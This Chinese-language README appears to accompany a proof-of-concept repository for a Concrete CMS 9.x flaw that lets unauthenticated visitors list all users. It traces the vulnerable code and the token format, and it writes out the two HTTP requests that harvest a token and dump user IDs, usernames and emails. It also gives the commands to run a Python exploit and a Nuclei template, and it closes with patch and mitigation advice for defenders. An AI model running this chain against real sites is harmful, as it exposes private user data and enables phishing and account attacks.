Concrete CMS 9.0.0 至 9.5.2 版本未对用户选择器自动补全端点(/ccm/system/user/autocomplete)执行授权检查,该端点支撑着“以用户身份预览”面板及其他用户选择器组件。这使得未认证的远程攻击者能够在没有任何有效会话或凭据的情况下,枚举完整的内部用户目录——包括用户 ID、用户名和电子邮件地址。
该漏洞是 CSRF 令牌被(错误地)用作授权控制的典型案例:令牌证明了请求的完整性,但从未回答调用者是否有权查询用户列表这一实际安全问题。
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| Concrete CMS | 9.0.0 – 9.5.2 | 9.5.3 |
以用户身份预览面板在 concrete/routes/panels.php 中注册,基础路径为 /ccm/system/panels:
GET /ccm/system/panels/page/preview_as_user
其控制器(concrete/controllers/panel/page/preview_as_user.php)调用 UserSelector::quickSelect() 来渲染 <concrete-user-select> Vue 组件。与其同类方法 selectUser() 不同(后者正确地以 canAccessUserSearch() 作为门控),quickSelect() 在生成和嵌入令牌之前未执行任何权限检查:
// concrete/src/Form/Service/Widget/UserSelector.php (vulnerable — 9.5.2)
public function quickSelect(string $inputName, $userID = null, array $args = []): string
{
$userSelectInstance = $userSelectInstanceFactory->createInstance($labelFormat, $includeAvatar);
// No permission check here — token is rendered unconditionally
$html = <<<EOL
<concrete-user-select
access-token="{$userSelectInstance->getAccessToken()}"
label-format="{$labelFormat}"
:include-avatar="{$includeAvatar}"
...
EOL;
return $html;
}
因此,服务器渲染的 HTML 响应会向任何能够访问该路由的访问者——包括未认证的访问者——暴露一个有效的 access-token。
access-token 值的格式为:
{unix_timestamp}:{md5_hash}
其中哈希在服务器端计算如下:
md5( timestamp : userID : action : pepper )
timestamp — 生成时的 UNIX 时间,以明文形式作为令牌前缀发送。userID — 生成时请求者的用户 ID;对于未认证访问者为 0。action — 字符串 user_select:format:{labelFormat}:avatar:{includeAvatar},其中两个值均由攻击者通过查询参数提供。pepper — 一个 64 字符的随机密钥,在安装时生成一次并存储在 application/config/generated_overrides/concrete.php 中。令牌有效期为 24 小时,且在该时间窗口内完全可重放——没有一次性/随机数(nonce)强制机制。同时也不存在时间戳下限检查,使得新鲜度检查是单向的。
1. GET /ccm/system/panels/page/preview_as_user
↓
Server responds with HTML containing:
<concrete-user-select
access-token="1738012345:a1b2c3d4e5f6..."
label-format="auto"
:include-avatar="true"
...>
2. POST /ccm/system/user/autocomplete
Body: accessToken=1738012345:a1b2c3d4e5f6...
&labelFormat=auto
&includeAvatar=true
&query=a
↓
Server responds with full user list:
[
{"id": 1, "primary_label": "admin", "secondary_label": "[email protected]"},
{"id": 6, "primary_label": "m.rossi", "secondary_label": "[email protected]"},
...
]
view() 内部的 checkAccess() 调用使用当前请求的 uID(访客为 0)重新计算哈希——这完全匹配,因为令牌也是以 uID=0 生成的。检查通过,完整的用户目录被返回。
自动补全端点上的 canAccess() / checkAccess() 门控验证了令牌的完整性(未被伪造、未过期),但从未验证授权(该调用者是否有权搜索用户?)。CSRF 令牌的有效性不能替代授权检查。与同一控制器中的 getSelectedUsers() 相比(后者对每个结果正确调用 Checker::canViewUser()),view() 没有等效的检查。
本仓库包含一个 Python 脚本和一个 Nuclei 检测模板。Python 脚本仅可用于单个 URL。如果你想同时测试多个目标,请改用 nuclei。两者都自动化了上述两步利用链,并匹配第 2 步响应中确认的用户数据。
python3 CVE-2026-18110.py https://target.example.com
nuclei -t CVE-2026-18110.yaml -u https://target.example.com
仅用于对你已获授权测试的系统。
升级到 Concrete CMS 9.5.3 或更高版本。该修复在令牌签发阶段(quickSelect())引入了授权检查,与 selectUser() 中已有的 canAccessUserSearch() 门控保持一致,并在自动补全控制器的 view() 内部添加了等效的权限检查,仿照 getSelectedUsers() 已正确使用的 Checker::canViewUser() 模式。
如果无法立即升级,可考虑在 Web 服务器或 WAF 层面阻止对 /ccm/system/panels/ 的未认证访问,作为临时缓解措施。
本仓库出于教育和防御性安全目的发布。所有测试均针对明确授权的系统进行。作者不对本文所含信息或工具的任何滥用行为负责。